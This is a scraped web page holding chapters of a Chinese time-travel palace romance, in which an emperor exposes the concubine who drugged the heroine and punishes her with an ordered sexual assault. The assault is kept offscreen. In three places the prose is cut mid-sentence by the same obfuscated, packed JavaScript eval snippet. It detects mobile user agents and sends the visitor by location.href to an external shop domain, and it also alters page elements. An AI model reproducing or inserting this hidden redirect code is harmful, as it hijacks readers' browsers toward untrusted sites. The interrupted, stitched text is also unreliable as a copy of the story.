看看夏星辰划过脸颊的泪水,以及那已经逐渐苍白的脸色;他忽然收回手。就在得到生机的一瞬间,夏星辰大口大口地呼吸着,一次又一次面对濒临死亡的感觉,已经让她因为那股无解的恐惧而将心底的委屈发作了出来。 “尧让!你这个狗皇帝,你是不是有什么大病?”她满眼通红地看着他,愤怒道:“我能有什么手段?在你心里,是不是所有女子都要为了达到某种手段去毁了自己的清白?我没那么下贱!” 在尧让一脸错愕的时候,她仍旧不停地输出:“不管你信不信,我没有使手段!我昨天被下药了,自己也不知道怎么回事,然后就意外碰到了你。你未免太高看得起我了,我怎么敢去招惹你啊。再说了,发生这种事,只是我一个人的问题吗?你怎么不反思自己有没有问题?” “你......” 话还未说出口,二人便听见了朝这里走来的阵阵脚步声,对视了一眼后,便心照不宣地先解决眼下的困境;随后,二人以最快速度将衣裳穿好。 “随朕来!” 夏星辰一路小跑追上因腿长走得很快的尧让,小声地说道:“等等我!” 在二人以最快的速度离开之后,房门就被推开了。此时即便是夏星辰再愚蠢也能想到,这种可不就是后宫中最惯用的陷害嫔妃的下作手段吗? 果然啊,现代人在这种吃人的后宫中是活不过半集的! 安静无比的极咸宫内,坐在软榻上的尧让在怡然自得的品着茶,俨然是完全没把那件事放在心上。一旁沉默着的夏星辰看着他这副事不关己的模样,想生气想骂人但又没有那个勇气。 还真是‘男人至死是少年啊’。发生这种事,只需要穿好裤子,就可以当作什么事情也没发生。而女子呢,在这种畸形的封建社会,清白对一个女子来说比性命还重要,毕竟,一言不合就要浸猪笼;这谁受得了...... 这么一看,我们的伟人废除封建礼教、解放妇女思想的行为简直是太厉害了! 一直安静的氛围在百里进来后便被打破了。 “陛下,查到了!”百里躬身道。 尧让抿了一口手中的茶,冷声道:“说。” “昨日梅花宴上的鲜花饼并无问题;今早在陛下和明妃娘娘离开之后,推开房间门的是予妃娘娘和其他嫔妃。” 话音刚落,尧让便将目光落在夏星辰身上。这一看,倒是把夏星辰看得背后一凉...... “陛下,你这么看我是什么意思?你不会是觉得我故意的吧?”说这话时,夏星辰无比慌张,她实在是想不通自己要怎么自证清白! “把你腰间那个荷包给朕。” 夏星辰低头一看,虽是不解,但也乖乖配合着;将腰间的荷包递给了尧让,而尧让只是闻了闻,便将荷包丢给了百里。 “命人做一个与其中香料完全一致的荷包,随后便传朕的旨意,赐予予妃。”尧让吩咐道。 “陛下,她是医者。” “那便将药换作更猛烈的;如此细活便交给那位爱养蜘蛛的,若这次她还不来,那就让她日后也别再来了。” 百里清了清嗓子,应声道:“是,陛下!” 夏星辰被他们的对话搞得整个人都云里雾里的,她悄悄地挨到尧让身边,问道:“什么养蜘蛛的?那人是谁?” “怎么?你很好奇啊?”尧让侧过头看着她,语气尽是冷淡。 “是有那么一丢丢好奇啦,但陛下你不说,我就不问。”夏星辰似乎是意识到眼下最重要的问题:“陛下,我是不是没事了?” “苏清夕,看来你一点都不觉得被陷害之事很严重啊?” “不是啊,我只是觉得庆幸。” 尧让满眼疑惑:“庆幸?有什么好庆幸的?” “陛下你就不懂了吧,我觉得庆幸的是,幸亏昨夜与我那般颠鸾倒凤的是陛下,若是别的男子,我恐怕......是跳进黄河也洗不清了。再说了,给陛下你戴绿帽子,死得更快!”夏星辰认真地说道。 看着她一副有理的模样,尧让冷笑道:“所以,是朕多管闲事了?” 夏星辰猛地摇摇头:“怎么会?若非陛下命人去查,说不准我现在就被陛下你杀了。陛下你都不知道我今天醒来的时候多害怕,我可不想因为出轨被浸猪笼,总而言之,还是得多谢陛下。” “就这般口头表示感谢?” “那......那要怎么感谢?我没什么值钱的东西啊。”夏星辰忽的将脸凑到尧让眼前,低声笑道:“那我就夸赞一下陛下,我之前说的话大错特错,陛下,你非常有实力!” 说罢,她的视线就落在了尧让身上的某个地方。他顺着她的视线低下头,顿时结巴起来:“苏清夕!你......想死是不是?” “你怎么又生气了?”夏星辰嘟囔道:“又不是没见过,大惊小怪!” “……” 下一刻,尧让抬起手指着门口,语气冷淡:“朕不想跟你废话,你给朕滚出去!” “哦!”夏星辰不想再惹他不痛快,便转过身往殿外走去。走到一半,她突然停下脚步,回过身,笑了笑道:“陛下,这一次,谢谢你信我。” 话一说完,夏星辰便走了出去,顺道将门给带上,只留下一脸未缓过神的尧让。 “陛下,药来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635891|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那人说了,这碗药喝下去,余毒就能排出来了。”说着,林贤便将药递给尧让。 尧让接过后就直接喝了下去,将药碗递过去的同时,他开了口:“昨夜那人杀了?” “杀了。” “是何人?” “混迹于青楼窑子的常客。” 尧让不禁冷笑出声:“朕果然还是小瞧她了。”随后抬眼看向林贤,淡淡一笑:“去安排几个窑子常客,朕要还她一份大礼。” 林贤点点头:“是,奴才这就去办。” 夏星辰刚回到莹粹宫,便见到小莲急匆匆地朝着自己跑了过来:“娘娘,您回来了!昨夜不知怎的,奴婢竟然一觉睡到了今早。” 看着脸色苍白的小莲,便断定了昨夜她应当是被人打昏了,又或者是被下了什么睡得昏沉的药。 “没事,多睡会儿是好事。小莲,我有点累了,想睡一会儿,你晚些时候再叫醒我。” “好。” 她刚挪动脚步欲往内殿走去,却被走来的紫烟叫住了。 “姐姐,昨夜想着来莹粹宫找姐姐喝个茶,等了许久都没见到姐姐回来呢。”紫烟边说着边走了过来。 夏星辰转过身看着她,自己正愁对那个给她下药之人没半点头绪;在看到紫烟后,又想到尧让拿走她那个荷包的行为,此刻她的心里已经有了怀疑对象。 她本身就不是那种藏得住脾气的人,确定下药之人后,那股不悦的表情便明显地浮现在脸上。 “想说什么便说吧。” “姐姐,宫规森严,妃子不得夜不归宿;不知姐姐昨夜去了哪里?妹妹等候许久未见姐姐回来,实在是担心得紧,险些就去寻陛下了。”紫烟的话里尽是故作关怀。 夏星辰瞧着她这副顶级绿茶式的茶言茶语,便挤出了一个假的不能再假的笑容:“你应当是要去寻陛下的,他最是清楚本宫昨夜去了哪,做了什么。” “姐姐......你这是何意?”紫烟脸上原本得意的神情瞬间被一丝慌张取代。 “都是成年人了,你问这话就有点愚蠢了。”夏星辰上前半步:“陛下能知道本宫的去向,自然是与本宫待了一整夜。那不妨你来猜猜,本宫与陛下共处一室,能做些什么?” 见紫烟脸色逐渐惨白,她慢悠悠地补充道:“若你实在还是想不明白,那本宫就与你明说。昨夜本宫与陛下颠鸾倒凤,好生快活。” “不可能,陛下不是那种人!”紫烟猛地抬高声音,语气里甚是笃定。 “那陛下该是哪种人?”夏星辰嗤笑一声:“一个成年男子有正常的生理需求,再是寻常不过。更何况,我与陛下本就是夫妻,同房理所应当,你为何一脸这般诧异模样?” 夏星辰的这番话,紫烟一时语塞。见她说不上来话,夏星辰往前再逼近了一步:“紫烟,你能站在这里跟本宫说这些阴阳怪气的话,是本宫给了你机会,本宫没对你大打出手,是本宫有教养;不屑与你这种躲在阴沟里搞算计的老鼠计较;此次被你算计,全当本宫的真心喂了狗。但你给本宫记好了,别拿你那点心思揣测我,纵使你我有着不同时代的思想,我也绝对不是任人拿捏的软柿子。” “苏清夕,我果然没有看错你,你的心思还真是不简单。”紫烟索性也不再装,脸上的无辜与柔和瞬间消失殆尽。 “你们这些人真的是令人感到无语至极。什么叫本宫的心思不简单?戳到你的痛处、拆穿你虚伪的面目便是本宫心思不简单?又当又立的模样,还真的是......”说着说着便冷笑出声:“你与本宫谈论宫规森严,若是宫规森严,你这等身份怎配封妃位?” “你......你这是嫉妒陛下封了我妃位,不甘心我与你在同等的位置上。” “我嫉妒你?”夏星辰似乎是听到了很好笑的话,不禁笑出了声:“我嫉妒你什么?嫉妒你出身卑微?还是嫉妒你有那些上不得台面的手段?真是好笑!” 话音落下,夏星辰转回身便要走,又仿佛是想起还有话没说,回头看向僵在原地的紫烟,淡然一笑:“哦,对了,送你一句话,‘天网恢恢疏而不漏’,你好自为之。” 二人的这番对话都被躲在墙角的百里听了去。看着原地跳脚的紫烟,再看看转身潇洒离开的夏星辰,百里简直不敢相信,以往的苏清夕虽嚣张跋扈,但能动手绝对不讲道理,怎会是现如今这般伶牙俐齿,叫人说不上话的模样。 22.这是朕给你的赏赐 随后,百里将自己所见所听的一切,原封不动地讲给了眼前坐在龙椅上的尧让。 原本还在认真批阅奏折的尧让听到这些话,手里的奏折差些就落在了案桌上;他抬眼看向百里,似乎也觉得甚是不解:“这......这些话当真是从她嘴里讲出来的?” 百里重重地点点头:“千真万确!属下现在才觉得,明妃娘娘变化也太大了,像是......” “像是什么?” “像是中邪了!” 话刚说完,尧让和百里的视线便不约而同地落在一旁的苏风逸身上。但苏风逸的反应并没有他们所想的那般强烈,反而是表示同意般的点了点头。 “苏风逸,你点头是什么意思?”尧让没忍住开口问道。 “陛下,臣之前见到小夕的时候也如百里所想的一般;而且臣还真的请来了道士,道士说......说将军府家宅安宁。”他自己说完这话时,脸上的表情甚是无语极了。 虽然道士说家宅安宁的意思就是并无什么中邪之事,但苏风逸还是觉得自己妹妹的这般变化还是异常诡异,诡异到他宁愿相信她中邪了。 或许旁人不了解苏清夕,但身为兄长的他又怎会不知她是个什么样的人! “明妃娘娘会不会突然发现显王殿下不喜欢她,然后......决定改过自新?”林贤尴尬地笑了笑,说出了自己的猜测。 苏风逸即刻接住林贤的话,表示认同:“有道理!之前小夕很认真地同我讲,她要洗心革面,做个好人!听到这话的时候,比听到那些怪异志谈都要来得让我恐惧。” “够了你们!她想做个好人就随她去吧。”尧让看向苏风逸,问道:“查到毒是谁下的吗?” “那人服毒自尽了,没来得及问。” 尧让合上手中的奏折,笑出了声:“还真是一条忠心的狗啊。” 夏星辰睡了很久,醒来的时候已经是到了晚膳的时间。小莲一看到她坐起身,便连忙跑过去扶住她,笑道:“娘娘,奴婢特意让人给您熬了一碗参汤。” 她看着桌子上的食物,无奈地说道:“小莲啊,整个寝宫也没多少人,你们又不同我一起用膳,下次就别这么铺张浪费了。” “好,奴婢会吩咐下去。”小莲虽然不理解,但还是照做了。 夏星辰算是懂了,这些身处皇宫中的人啊,实在不懂饥荒的可怕之处。这般浪费粮食,实在是要遭天谴的! “娘娘,今晚陛下下旨,让予妃娘娘侍寝!”小莲压低声音说道。 “侍寝?” 小莲点点头:“是,后宫都传遍了,毕竟这是陛下第一次宠幸后宫嫔妃。” “咱们陛下的心思还真是难猜呢。随他去吧,谁让他是皇帝呢。”也不知道为什么,夏星辰一下子便觉得内心空落落的,心情瞬间有种说不上来的不悦。 作为一个有着新思想的现代人,她是真的无法接受古代这‘妻妾成群’的荒唐思想。‘一生一世一双人’这种事仿佛不应该、也不能出现在帝王身上! 不知道是好奇心作祟,还是纯粹就想知道别的什么;夏星辰偷偷摸摸地来到了紫烟所居住的昔阳宫,果然在这里,她见到了正缓步踏入的尧让。 但真正吸引她目光的却是林贤身后那三名包裹严实、唯唯诺诺的男人,只见林贤转过身朝着他们吩咐道:“过会儿陛下让你们进去,你们就进去,做好你们的事就能活。” “是......”三名男人结巴地应声道。 “进去?现场直播?这么刺激吗?可尧让也不是那种有着奇怪癖好的人啊!”夏星辰倍感奇怪地自言自语着。 夏星辰趁着林贤没注意,偷摸着溜到寝殿后面,紧接着便蹲在窗户下听着里面的对话,本就只有一墙之隔,所以,她能听得清清楚楚...... “陛下!臣妾......准备好了。”紫烟笑着说道,一步步走近坐在椅子上的尧让。 尧让将杯中的茶水一饮而尽后,抬眼看着她:“莫着急!紫烟,朕且问你一事。” “陛下要问臣妾何事?” “梅花宴那日,明妃所中的相欢毒可是你下的?” 此话一出,紫烟脸上尽显慌乱:“臣妾没有......” “没有?你莫不是把朕当傻子了?” 听到尧让言语间的些许怒气,紫烟立马跪了下来:“陛下明鉴,臣妾真的没有。” 尧让忽的冷笑出声:“你知道吗?朕是真的很厌恶你这副擅于狡辩的模样。”说着,便站起身,走到她身前,居高临下地开口:“明面上你是在搞那些下作的后宫手段,实则却是在折朕的面子,令朕难堪。” “臣妾......真没有。”紫烟慢慢低下了头。 “把头抬起来!” 紫烟小心翼翼地抬起了头;当对上尧让那双冰冷的眸子,眼泪瞬间便因恐惧落了下来。 “紫烟,没有人能够利用朕去除掉任何人!朕倒是很好奇,是谁给你的胆子,敢利用朕的手,借刀杀人?” 心思被尧让揭穿,她脸上的血色瞬间变得苍白;可她仍然咬着下唇强撑着,像是抓住最后一根救命稻草般辩驳:“陛下,苏清夕是显王殿下的人,整个后宫都知晓她心悦的人是显王殿下,她在你身边,是有所图谋的!” “所以,你的意思是......你杀她,在替朕打算?” “是,紫烟所做的一切皆是为了陛下!”她看向他的眼神里满是坚定不移。 “好一个为了朕啊!你凭什么认为,朕会需要你这把刀呢?你又凭什么认为朕会需要一个满嘴谎言的人呢?说实话,你也就是个无用的废物。”尧让每一个字都充斥着冷漠。 眼神里的坚定瞬间被不解替代:“什么?” “朕给过你机会的!”尧让的语气里多了几分嘲讽之意:“可惜你一次都没抓住啊。舍身救朕,是你的计谋,只求留在身边,不要名分,也是你的计谋,就连前些日子被太后当场撞见藏在极咸宫的你,恐怕也是你算好的一步棋,你这步棋最终的目的是除掉苏清夕!” “你什么都知道?” “朕应该知道什么?知道朕的后宫是被你搞得乌烟瘴气?知道个别死得不明不白的妃子是你害的?” 说着,尧让重新坐回椅子上,接着再往空杯中倒满了茶水,继续道:“从头到尾,你做的每一件事都藏着算计。与朕的相识,以及你对朕说的那些‘喜欢’,可有半分真心?还是全部都是为了爬上高位的幌子?” “呆子......我对你是真心的!” “真心?究竟是真心,还是权衡利弊后的抉择?是朕忘了,还是你自己忘了?你最初的选择不是朕的王兄吗?可紫烟,你这步棋走错了,事实上,朕比王兄还要残忍,还要精于算计;你想当那个手段高明的猎手,朕就给你一个爬上高位的机会。” 听着这番话,紫烟顿时明白了什么,她身体颤抖着,迫切求证:“原来这一切,你都是有意而为之。所以,当年那几个土匪,也是你杀的?” 尧让冷笑一声,言语间尽是戏谑:“什么叫朕杀的?他们的死是你造成的,朕只不过是递给你一把刀而已。你还真当朕是什么心地善良的明君啊?明君只是不杀为朕所护的黎民百姓,可并非是你等欲夺皇权之人!” “朕的皇位是手刃一个个皇家兄弟而坐上的,你凭什么会认为朕是什么等闲之辈?明君,朕当得了,暴君,朕亦当得了!” 紫烟苦笑一声,随即缓慢起身,看着一副轻松自在品着茶的尧让,眸子里带着讥讽:“呆子,你与我本就一样,一样的凉薄,一样的只为自己活;你问我对你可有半分真心?那你呢?你坐在这皇帝之位,可曾对谁付出过半分真心?我费尽心思爬上高位,你又何尝不是呢。” 话音未落,她将腰间挂着的荷包取了下来,目光紧盯着,低笑道:“原以为我的计划天衣无缝,能将苏清夕毁于一旦。没想到,竟是我亲手将她送上了龙榻......” 没等他开口,她抬眼看向他:“但我太了解你了。你这种人,是永远不可能为了一个女子而让自己有了让别人拿捏自己的软肋,你同先帝一模一样,利用和牺牲的从来只有身边之人,这么一想,苏清夕又能仗着你这份喜欢得意多久呢?” 紫烟明白,她说出口的这些话,都会在此刻将她送去地狱;因为,眼前的这位帝王并不是什么善茬,他的残忍和狠戾只会比先帝有过之无不及! 尧让笑出了声,笑声里满是嘲笑之意。他冰冷的眸子落在她身上,一字一句地说道:“你太高看你自己了!你以为你是什么东西?朕也是你能随意拿来与自己比较的?你说你与朕是一样的人?你错了!若朕是你,这皇后之位早就是朕的囊中之物了。” “况且,你本来就蠢。手段用来用去就只是那些腌臜东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640386|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,还轻易留下把柄,就你这上不得台面的人,怎配站在朕的身边?” 话罢,尧让语气冷淡的扬声道:“进来吧。” 门被推开,林贤带着身后三名男人走进了殿内。紫烟顿时惊慌失措地往后退去:“你要做什么?” “当然是侍寝了!你不是很喜欢做这种事吗?那你自己怎能不尝试一番呢?”尧让冷声道:“这三名男子与你之前要送予同苏清夕床弟之欢的人一模一样,皆是青楼常客,朕念及你的喜好,便命人寻来了三名,想来你定是很喜欢。” “陛下,你怎能如此对待我?”紫烟撕心裂肺地吼道。 “怎么?你不喜欢吗?这可是朕给你的赏赐!”他忽的神情狠厉地看向她:“朕给的东西,无人有拒绝的权利!你不要也得要!” “不!!呆子,你别这样对待我,不可以!”紫烟这时才知道自己惹了一个什么样残忍暴戾的人,才明白这后果也根本是她所无法承担的。 躲在外面将这一切听得清清楚楚的夏星辰心头一紧,她竟然一直都低估了尧让的手段,不禁倒吸一口凉气。慌张之余,意外发出了小小的声响...... 当她以为无人察觉,正要转过身偷摸离开时,却迎面碰上了不知何时站在自己前面的百里。 “哈喽啊!真巧呢!”夏星辰挤出了一个极为难看的笑容。 下一刻,百里便伸出手,作了一个请的姿势:“娘娘,请。” 她怀着忐忑无比的心情踏进了寝殿,不小心对视上尧让那双洞悉一切的双眼,双膝一软,立马跪了下来,结巴道:“陛下,臣妾......不......不是故意偷听的。” “哦?你难不成是想说,你的双腿不听使唤,带你来了这昔阳宫?” 夏星辰重重地点点头。 尧让嘴角上扬:“既如此,那便砍了双脚,反正也无用。” “不行!我可不想成为废人啊!”夏星辰话刚说完便磕了一个响头,低声开口:“陛下,我真的不是故意的,我错了!” “你莫着急,待朕先解决了她。”尧让看了一眼那三名男子,声音没有任何温度的命令道:“你们还不开始?需要朕让人教你们圆房吗?” 紫烟哭着不断后退,直至退无可退,她猛地跪了下来,哭道:“陛下,求求您饶了我!” 夏星辰一个现代人哪能看得了这种场面,无论是现代还是古代,尧让的这种惩罚对于一个女子来说,都是极其残忍的,比杀了她都要残暴。 “等等!” 夏星辰忽然喊出来的这两个字,让所有人的目光都落在了她的身上。她抬眼看着尧让,语气恳求道:“陛下,别这样侮辱她!” “苏清夕,你还真是不见棺材不掉泪啊!你可知,你被下药那晚,若没有其他意外,你便是眼下这样的下场;更甚者,现在的你早就肌肤溃烂而亡了。”尧让看着她,语气里明显夹杂着怒火:“你那泛滥的好意别到处给予,有些人是不配的。” “可是......” “够了!”尧让生气的打断了她的未说出口的话:“你别令朕不悦。这场戏,也算是朕邀你同看了,你且看好了。” 夏星辰识趣地闭上了嘴,将那未说出口的话硬生生吞了回去。她自然是明白尧让说的话是什么意思。的确是如此,那个夜晚,若不是尧让意外出现,眼下这番场面的主人公便是她了。 而紫烟能使得出来这种肮脏下作的手段,又怎会心生怜悯地使人对她感到同情! 尧让站起身,看着林贤,冷淡道:“事情解决后,将她丢到冷宫,褫夺其封号。” “是!” 在紫烟阵阵惨绝人寰的叫声中,夏星辰缓慢站起身,迈着沉重的步伐跟在尧让身后,一步步走了出去。随着门被关上,也间接地证实了自己沦为了这场残忍杀戮的旁观者。 此时此刻,她已然是分不清“是非善恶”了,也分不清那不被认同的“以暴制暴”的手段是否恰当。她是不是应该要以自己没受到实质伤害而选择原谅紫烟? 种种问题在她脑海中不断博弈着,但很快便分出了所谓的“胜负”。 无论如何,她都不应该原谅。她本身就不是什么圣母,每个人都应该为自己所行之事付出代价!她的确是没受到实质性的伤害,可这也无法掩盖紫烟本就坏透的心性。 更何况,“杀人未遂”罪名也不小呢。 23.疯批的执掌生杀者 “怎么?还是想不通吗?”尧让转过身看着她,脸上的神情虽是带着笑意,但却令人因为无法看透而觉得胆寒。 夏星辰内心更加坚定,尧让这个帝王绝对不是她之前在广播剧上听到的那只言片语中的无用昏君,他的心思、手段,远远是她一个现代人无法看得透的。 如果尧让只是一个执笔人笔下创造出的角色,那这角色的性格未免太生动了。让夏星辰忍不住怀疑,这究竟是作者文笔太好了,还是这纸片人在逐渐生出自己的意识...... 吗耶!这是越想越往玄学那方面去了。不对不对,“建国以后不得成精”,是她胡思乱想了。夏星辰努力平复心情,暗自提醒着自己别往那玄幻类想去。 要相信科学! 这最后这句话刚出现在脑海中,夏星辰就想呵呵发笑。科学?若真如此,她又怎么会出现在这里?又怎么会体验一场穿越之旅? “不是,臣妾想通了。”夏星辰朝着尧让躬身道:“臣妾多谢陛下!” “谢朕?为何?” “或许陛下并非是因为维护臣妾而揭穿紫烟姑娘,但臣妾也算是这件事中的受益者,自然该感谢陛下。” 夏星辰真诚地讲完这些话,可尧让脸上的表情依然是没有任何的波动,这难免不让她以为是不是自己又说错了什么。 “陛......陛下,怎么了?” “朕还以为你会为了达到目的而感到愉悦呢,你这反应倒是使朕出乎意料啊。” “目的?什么目的?” 尧让露出了一抹意味不明的笑意:“你与王兄不是商量出了一个对策吗?”虽是因为紫烟意外相助了你们,但也算得偿所愿啊。 夏星辰都快忘了还有这件事,这被他一提醒,有些不好的记忆再次浮现在脑海里。 她没忍住给了他一个白眼:“陛下,我可以很明确地告诉你,我这人呢,还不屑于出卖我自己的身体去得到一些本就不属于我的东西,我虽然不是什么很有钱的人,但我不至于如此堕落。” 在他疑惑眼神中,她似乎又想到了别的事情,补充道:“还有一件很重要的事情,做鸡是犯法的,我本人也不感兴趣。” “这又是什么?” “说直白点就是青楼女子嘛。重点说明一下,我并非瞧不起青楼女子啊,但这职业啊,它是违法的......”夏星辰突然反应过来自己为什么要跟古代帝王扯这种事情,汗颜道:“我真是有病,我跟你扯这个做什么,你又不懂这个事情所带来的影响有多大。” 看着尧让一副严肃的神情,她知道自己这欲言又止的行为就是在吊人家胃口,可她又不知道自己该怎么解释清楚。干脆直接将话题转回到他感兴趣的话题上。 “陛下,您放心,上次的事情是我们在意识不清的情况下犯的错,我不需要你负责,我也不会拿这件事去威胁你,我发誓!”夏星辰为了证明自己说的是真的,随即做了一个发誓的手势。 “你倒是很有自知之明!” 夏星辰无奈地耸耸肩:“自然,你情我愿的事情而已。” 百里和林贤轻手轻脚走到一旁站着,自觉地等到二人谈话结束才敢上前。 “陛下,已命人将紫烟姑娘困于冷宫中了。”林贤轻声说道。 一旁的百里清了清嗓子,开口道:“还有一事,罗丞相回京了,这两日便能到。” 尧让微微点了点头后便转过身离去,百里和林贤紧随其后。 “陛下!”夏星辰忽然开口叫住他。 他停下脚步,回过身看着她:“有事?” 夏星辰走了过去,纠结了片刻,然后便将一小药瓶塞在他手里。尧让看着手中的药瓶,疑惑问道:“这是什么?” “我自己捯饬的药膏,它能止血化瘀。”夏星辰小声地开口:“那晚......我看到了......你的伤口。你别不把它当回事,那伤口挺深的,恐会伤到筋脉,不医治的话,会成为废人的。” 说罢,尧让侧过头看了一眼自己的肩膀。此时若是刻意靠近些察看,便会清楚地看到黑金色龙袍上渗出的血迹。 “苏清夕,你何时精通医术?” 面对尧让提出来的疑问,夏星辰这才反应过来自己现在可是苏清夕,不是她自己夏星辰。 完蛋了,露馅了! “陛下你不知道的事情,多......多了去了。”夏星辰略微显得有些慌张。 但她的担心是多余的,眼前的帝王明显不在意这件事...... “所以,这是你的谢礼?”尧让紧攥着这小药瓶,笑道:“你凭什么认为朕不寻太医用药,而要用你的药?” 夏星辰无奈地轻叹道:“陛下,我看起来也不蠢吧?你若是及时寻太医,伤口怎会如此?既然陛下不寻太医,自然有陛下的道理,我可没有要打探什么朝野秘事啊,纯粹是我自己的猜测。” “好!既然如此,那你便好人做到底吧!” “什么意思?” 尧让看了林贤和百里一眼,冷声道:“他们二人都是粗汉,给朕上药这件事就交给你了,走吧!” 话音刚落,尧让便转过身径直地离开,并没有给夏星辰拒绝的权利,她只能无奈跟了上去。 果然是狗皇帝!还真是霸道又专制! 尧让坐在软榻上,解下了沾染血迹的黑金色龙袍。夏星辰的目光落在肩膀那道触目惊心的伤口上,肉眼可见还在渗着血。 药签刚碰到伤口,传来的痛感使得他的身体微微颤抖了一下。 “对不住!你得忍忍,这伤口太深了,必须要先消毒。”夏星辰边说着边轻轻地处理着伤口。 随后,她对着一旁候着的林贤说道:“林公公,命人熬制一些麻沸散吧。” “是!” “不用!”尧让叫住了林贤,厉声阻止道。 “陛下,你的伤口太深了,已经伤到脊骨了;眼下是必须要缝合的,而缝合的痛楚难以忍受,服用一些麻沸散会好些。”夏星辰认真地说道。 尧让淡淡一笑,看着她,开口道:“直接来吧,朕不是什么娇气的人,那些东西用不上;再说了,朕的伤不能让太医知道。” 听到这话,夏星辰点了点头,神情严肃道:“好,那陛下若是中途受不住了,定要与我说。” “好。” 缝合伤口的过程中,夏星辰明显感觉到尧让在拼命强忍着,不自觉攥紧了拳头。可即便如此,眼前之人还是没有发出一点声音,就这样默默地忍受着,仿佛这已经不是第一次了...... “可以了,陛下。”夏星辰声音极小,目光紧紧盯着尧让脸上的神情。只见他的脸上早已布了层冷汗,直到那那股痛感渐渐变得微弱,他才放松了紧绷的身体,重重地呼了口气。 “陛下......”林贤立即走上前,脸上满是担心的神色:“陛下,您没事吧?” 尧让摇了摇头,随即抬手将放置在一旁的衣裳拿了过来,林贤赶忙走至身旁,辅助他将衣裳穿上。 “苏清夕,你这次还真是帮了朕一个很大的忙啊!”他的声音略微带着点嘶哑,明显是因为方才极致的忍耐所致。 夏星辰闻言,唇角勾起一抹浅淡的笑:“这不是你来我往嘛,况且这事本就是小事,只是刚巧撞到我枪眼上去了。”这话一说完,她的脸上尽是对自己医术的得意之色。 “说吧,想要什么赏赐?” “这......”夏星辰装模作样地犹豫片刻后,抬眼笑道:“都可以,陛下给什么我都喜欢,我不挑。” 尧让嘴角上扬,侧过头看向林贤,淡然道:“将国库里那枝冰域雪莲赏赐给明妃。” 听到这御赐之物,林贤眼底闪过一丝惊讶,却没开口多问,轻声应道:“是,陛下!” 夏星辰不知道尧让口中的冰域雪莲是什么稀罕之物,她只知道,皇帝送的御赐之物绝对是顶好的!她开心地躬身道:“多谢陛下!” 自从上次帮助尧让处理了那道不可让人知晓的伤口之后,日子还算安稳,且无事发生。只是在那日,夏星辰和后宫的其他妃子都收到圣意,纷纷要求两日后前往泰安殿迎接罗丞相回朝。 这不是夏星辰第一次听到罗丞相这三个字,第一次听到的时候还是在昔阳宫,碰巧听到了百里向尧让禀报,说什么丞相两日后回京。 直觉告诉她,这罗丞相可能会掀起一场暴风雨! 恭迎盛宴那日,前往泰安殿的夏星辰刚好碰到进宫的苏风逸;她开心地朝着他招手:“哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644629|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥!” 苏风逸走到她身前,微微躬身道:“臣见过明妃娘娘。” “哥哥,你行礼做什么?”夏星辰不解地问道。 “妹妹,这是皇宫,你是陛下的妃子,我是朝臣,君臣有别,不得坏了规矩。”苏风逸严肃道。 夏星辰点点头:“好吧,还挺讲究。”说着,她一点点靠近苏风逸,将声音压得很低:“哥哥,这罗丞相是谁啊?他回京,为什么皇宫上下都要迎接他啊?” “丞相罗怀明是跟随先帝一同征战江山之人,先帝在位时,本就托付过他,让他辅佐储君即位,只不过,那时的储君是太子尧乙。恰逢当时罗丞相因病返乡修养,而后当今圣上手刃了太子,坐上了如今的帝位,朝野之中,罗丞相手下拥护之人甚多,所以无论如何,这场恭迎宴是必然要设的,总要给丞相几分薄面。” 她瞬间便明白了苏风逸说这番话里蕴含的意思。 这哪里是什么恭迎宴,罗丞相此次回京分明就是来试探尧让这位皇帝的?尧让一直都是知晓尧显的狼子野心,也知道这深宫中安插了不少尧显的人;他没有选择戳破,而是选择看似接受了这一切。 虽然夏星辰没看过这本小说,但是,关乎历史的电视剧或电影她倒是看过;自然是知道皇权的明争暗斗最为残忍,稍有差池便是粉身碎骨。 尧让所说过的话、所做过的事情还很记忆深刻,旁人根本无法看得透这位帝王的心思;明面上是猎物,实则上却是个伺机而动的猎手。 泰安殿是正殿之一,夏星辰看着金碧辉煌的宫殿,当真是闪瞎眼的程度。此时只有三个字浮现在夏星辰的脑海里,那便是——真有钱! 而后,各宫嫔妃和朝臣均按照自己的位次落座。 “皇上驾到!” “太后驾到!” 各宫嫔妃和众朝臣一同站起身,异口同声地说道:“陛下万岁!太后千岁!” 夏星辰偷偷瞥了一眼龙椅上的尧让,只见他的脸上甚是平静如水,完全看不出他有任何一丝别的神情。 果然是能当皇帝的人! “罗丞相,数年未见,近来身体可安康?” 罗怀明并未站起身,只是对着尧让微微颌首,嘴边扬起一抹笑意,声音平缓道:“多谢陛下挂怀,老臣身子甚好;陛下能亲临恭迎老臣回朝,实在是老臣的荣幸。” 